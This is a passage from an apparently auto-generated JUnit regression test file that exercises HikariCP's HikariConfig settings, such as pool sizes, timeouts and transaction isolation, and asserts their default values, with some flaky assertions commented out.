// flaky: org.junit.Assert.assertEquals("'" + str5 + "' != '" + "HikariPool-50969" + "'", str5, "HikariPool-50969");
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertNull(str11);
}
@Test
public void test19243() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19243");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
boolean boolean9 = hikariConfig1.isRegisterMbeans();
int int10 = hikariConfig1.getMaximumPoolSize();
long long11 = hikariConfig1.getConnectionTimeout();
java.lang.String str12 = hikariConfig1.getCatalog();
hikariConfig1.connectionTimeout = 2147483647L;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 60 + "'", int10 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertNull(str12);
}
@Test
public void test19244() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19244");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
long long11 = hikariConfig1.getConnectionTimeout();
java.lang.String str12 = hikariConfig1.connectionCustomizerClassName;
long long13 = hikariConfig1.getMaxLifetime();
javax.sql.DataSource dataSource14 = hikariConfig1.dataSource;
int int15 = hikariConfig1.getMinimumPoolSize();
long long16 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setDataSourceClassName("HikariPool-255");
int int19 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.dataSourceClassName = "HikariPool-29443";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertNull(str12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 35L + "'", long13 == 35L);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 60 + "'", int19 == 60);
}
@Test
public void test19245() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19245");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setInitializationFailFast(true);
boolean boolean12 = hikariConfig1.isAutoCommit();
hikariConfig1.setCatalog("HikariPool-639");
java.lang.String str15 = hikariConfig1.getCatalog();
long long16 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-639" + "'", str15, "HikariPool-639");
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
}
@Test
public void test19246() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19246");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.validate();
long long4 = hikariConfig0.getLeakDetectionThreshold();
hikariConfig0.setIdleTimeout((long) '4');
java.lang.String str7 = hikariConfig0.connectionCustomizerClassName;
hikariConfig0.idleTimeout = (short) 0;
java.lang.String str10 = hikariConfig0.catalog;
hikariConfig0.setMaximumPoolSize(32);
hikariConfig0.setConnectionTestQuery("HikariPool-29166");
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str10);
}
@Test
public void test19247() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19247");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setConnectionTestQuery("");
hikariConfig1.maxPoolSize = 0;
java.lang.String str10 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = 52;
org.junit.Assert.assertNull(str10);
}
@Test
public void test19248() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19248");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setConnectionInitSql("HikariPool-6");
hikariConfig1.transactionIsolation = 87;
javax.sql.DataSource dataSource16 = hikariConfig1.dataSource;
hikariConfig1.setIdleTimeout((long) '4');
java.lang.String str19 = hikariConfig1.poolName;
java.lang.String str20 = hikariConfig1.getConnectionInitSql();
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertNull(dataSource16);
// flaky: org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-50976" + "'", str19, "HikariPool-50976");
org.junit.Assert.assertEquals("'" + str20 + "' != '" + "HikariPool-6" + "'", str20, "HikariPool-6");
}
@Test
public void test19249() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19249");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
long long9 = hikariConfig1.maxLifetime;
hikariConfig1.setMaximumPoolSize((int) (short) 10);
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
int int13 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setDataSourceClassName("HikariPool-137");
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer16 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer16;
int int18 = hikariConfig1.acquireRetries;
hikariConfig1.setMaximumPoolSize((int) (short) 100);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer21 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer21;
java.util.Properties properties23 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setCatalog("");
hikariConfig1.setConnectionInitSql("");
javax.sql.DataSource dataSource28 = hikariConfig1.getDataSource();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNotNull(properties12);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 10 + "'", int13 == 10);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 3 + "'", int18 == 3);
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertNull(dataSource28);
}
@Test
public void test19250() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19250");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
long long9 = hikariConfig1.maxLifetime;
java.lang.String str10 = hikariConfig1.dataSourceClassName;
long long11 = hikariConfig1.getIdleTimeout();
hikariConfig1.setUseInstrumentation(false);
int int14 = hikariConfig1.getMaximumPoolSize();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 60 + "'", int14 == 60);
}
@Test
public void test19251() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19251");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
long long4 = hikariConfig1.getLeakDetectionThreshold();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
int int11 = hikariConfig6.getMaximumPoolSize();
int int12 = hikariConfig6.transactionIsolation;
java.util.Properties properties13 = hikariConfig6.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties13;
int int15 = hikariConfig1.minPoolSize;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.isRegisterMbeans = false;
long long20 = hikariConfig1.getAcquireRetryDelay();
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 0L + "'", long20 == 0L);
}
@Test
public void test19252() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19252");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer11;
hikariConfig1.setIdleTimeout((long) '#');
javax.sql.DataSource dataSource15 = hikariConfig1.getDataSource();
hikariConfig1.catalog = "HikariPool-905";
long long18 = hikariConfig1.getAcquireRetryDelay();
java.lang.String str19 = hikariConfig1.transactionIsolationName;
boolean boolean20 = hikariConfig1.isRegisterMbeans;
java.lang.String str21 = hikariConfig1.connectionTestQuery;
hikariConfig1.dataSourceClassName = "HikariPool-30394";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + long18 + "' != '" + 0L + "'", long18 == 0L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertTrue("'" + boolean20 + "' != '" + false + "'", boolean20 == false);
org.junit.Assert.assertNull(str21);
}
@Test
public void test19253() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19253");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
java.util.Properties properties13 = hikariConfig1.dataSourceProperties;
hikariConfig1.setJdbc4ConnectionTest(true);
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig();
hikariConfig17.setDataSourceClassName("");
hikariConfig17.validate();
long long21 = hikariConfig17.getLeakDetectionThreshold();
hikariConfig17.setIdleTimeout((long) '4');
java.lang.String str24 = hikariConfig17.connectionCustomizerClassName;
java.util.Properties properties25 = hikariConfig17.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig26 = new com.zaxxer.hikari.HikariConfig(properties25);
hikariConfig26.isAutoCommit = true;
hikariConfig1.addDataSourceProperty("HikariPool-84", (java.lang.Object) hikariConfig26);
javax.sql.DataSource dataSource30 = null;
hikariConfig26.setDataSource(dataSource30);
java.lang.String str32 = hikariConfig26.getCatalog();
long long33 = hikariConfig26.connectionTimeout;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + long21 + "' != '" + 0L + "'", long21 == 0L);
org.junit.Assert.assertNull(str24);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertNull(str32);
// flaky: org.junit.Assert.assertTrue("'" + long33 + "' != '" + 10L + "'", long33 == 10L);
}
@Test
public void test19254() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19254");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
long long11 = hikariConfig6.getIdleTimeout();
java.lang.String str12 = hikariConfig6.getCatalog();
java.lang.String str13 = hikariConfig6.getConnectionTestQuery();
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
hikariConfig15.dataSourceClassName = "";
java.util.Properties properties18 = hikariConfig15.dataSourceProperties;
hikariConfig6.setDataSourceProperties(properties18);
hikariConfig1.dataSourceProperties = properties18;
hikariConfig1.setTransactionIsolation("HikariPool-166");
hikariConfig1.isInitializationFailFast = true;
int int25 = hikariConfig1.minPoolSize;
hikariConfig1.dataSourceClassName = "HikariPool-9912";
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 10 + "'", int25 == 10);
}
@Test
public void test19255() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19255");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.leakDetectionThreshold = 35L;
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.dataSourceClassName = "HikariPool-13319";
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
}
@Test
public void test19256() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19256");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
int int9 = hikariConfig1.maxPoolSize;
java.lang.String str10 = hikariConfig1.connectionInitSql;
hikariConfig1.idleTimeout = 100L;
java.lang.String str13 = hikariConfig1.getPoolName();
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertEquals("'" + str13 + "' != '" + "HikariPool-50989" + "'", str13, "HikariPool-50989");
}
@Test
public void test19257() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19257");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.acquireRetries = (byte) -1;
hikariConfig1.setLeakDetectionThreshold((long) (short) 1);
long long8 = hikariConfig1.getAcquireRetryDelay();
int int9 = hikariConfig1.getAcquireIncrement();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.setDataSourceClassName("HikariPool-1427");
hikariConfig1.setCatalog("");
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.connectionInitSql = "HikariPool-13401";
boolean boolean20 = hikariConfig1.isRegisterMbeans();
java.lang.String str21 = hikariConfig1.connectionInitSql;
org.junit.Assert.assertTrue("'" + long8 + "' != '" + 0L + "'", long8 == 0L);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 0 + "'", int9 == 0);
org.junit.Assert.assertTrue("'" + boolean20 + "' != '" + false + "'", boolean20 == false);
org.junit.Assert.assertEquals("'" + str21 + "' != '" + "HikariPool-13401" + "'", str21, "HikariPool-13401");
}
@Test
public void test19258() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19258");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setInitializationFailFast(true);
int int12 = hikariConfig1.transactionIsolation;
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
hikariConfig14.dataSourceClassName = "";
java.util.Properties properties17 = hikariConfig14.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties17);
com.zaxxer.hikari.HikariConfig hikariConfig19 = new com.zaxxer.hikari.HikariConfig(properties17);
java.lang.String str20 = hikariConfig19.dataSourceClassName;
hikariConfig19.acquireRetries = 1;
long long23 = hikariConfig19.getLeakDetectionThreshold();
hikariConfig19.setInitializationFailFast(true);
java.util.Properties properties26 = hikariConfig19.dataSourceProperties;
boolean boolean27 = hikariConfig19.isRegisterMbeans;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties17);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + long23 + "' != '" + 0L + "'", long23 == 0L);
org.junit.Assert.assertNotNull(properties26);
org.junit.Assert.assertTrue("'" + boolean27 + "' != '" + false + "'", boolean27 == false);
}
@Test
public void test19259() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19259");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
long long4 = hikariConfig1.getLeakDetectionThreshold();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
int int11 = hikariConfig6.getMaximumPoolSize();
int int12 = hikariConfig6.transactionIsolation;
java.util.Properties properties13 = hikariConfig6.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties13;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties13);
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties13);
int int17 = hikariConfig16.maxPoolSize;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer18 = null;
hikariConfig16.connectionCustomizer = iConnectionCustomizer18;
boolean boolean20 = hikariConfig16.isRegisterMbeans;
hikariConfig16.connectionTimeout = (byte) 1;
hikariConfig16.setIdleTimeout((-1L));
long long25 = hikariConfig16.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + boolean20 + "' != '" + false + "'", boolean20 == false);
org.junit.Assert.assertTrue("'" + long25 + "' != '" + 0L + "'", long25 == 0L);
}
@Test
public void test19260() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19260");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setConnectionCustomizerClassName("HikariPool-57");
boolean boolean9 = hikariConfig1.isAutoCommit();
hikariConfig1.setAutoCommit(true);
boolean boolean12 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.connectionCustomizerClassName = "HikariPool-3860";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
}
@Test
public void test19261() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19261");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.connectionTestQuery;
long long6 = hikariConfig1.getIdleTimeout();
boolean boolean7 = hikariConfig1.isInitializationFailFast;
boolean boolean8 = hikariConfig1.isAutoCommit;
hikariConfig1.catalog = "HikariPool-1815";
hikariConfig1.connectionTimeout = 100L;
int int13 = hikariConfig1.getMaximumPoolSize();
java.util.Properties properties14 = hikariConfig1.getDataSourceProperties();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 60 + "'", int13 == 60);
org.junit.Assert.assertNotNull(properties14);
}
@Test
public void test19262() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19262");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.maxLifetime = (-1);
long long13 = hikariConfig1.getIdleTimeout();
hikariConfig1.idleTimeout = 0L;
long long16 = hikariConfig1.getConnectionTimeout();
int int17 = hikariConfig1.acquireRetries;
java.lang.String str18 = hikariConfig1.transactionIsolationName;
hikariConfig1.idleTimeout = 3;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 10L + "'", long16 == 10L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 3 + "'", int17 == 3);
org.junit.Assert.assertNull(str18);
}
@Test
public void test19263() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19263");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
int int5 = hikariConfig1.getTransactionIsolation();
boolean boolean6 = hikariConfig1.isRegisterMbeans;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int5 + "' != '" + (-1) + "'", int5 == (-1));
org.junit.Assert.assertTrue("'" + boolean6 + "' != '" + false + "'", boolean6 == false);
org.junit.Assert.assertNull(str7);
}
@Test
public void test19264() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19264");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.poolName = "hi!";
hikariConfig1.acquireRetries = ' ';
hikariConfig1.minPoolSize = (byte) 0;
hikariConfig1.isInitializationFailFast = true;
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
boolean boolean14 = hikariConfig1.isInitializationFailFast();
java.util.Properties properties15 = hikariConfig1.dataSourceProperties;
java.lang.String str16 = hikariConfig1.connectionInitSql;
boolean boolean17 = hikariConfig1.isRegisterMbeans;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
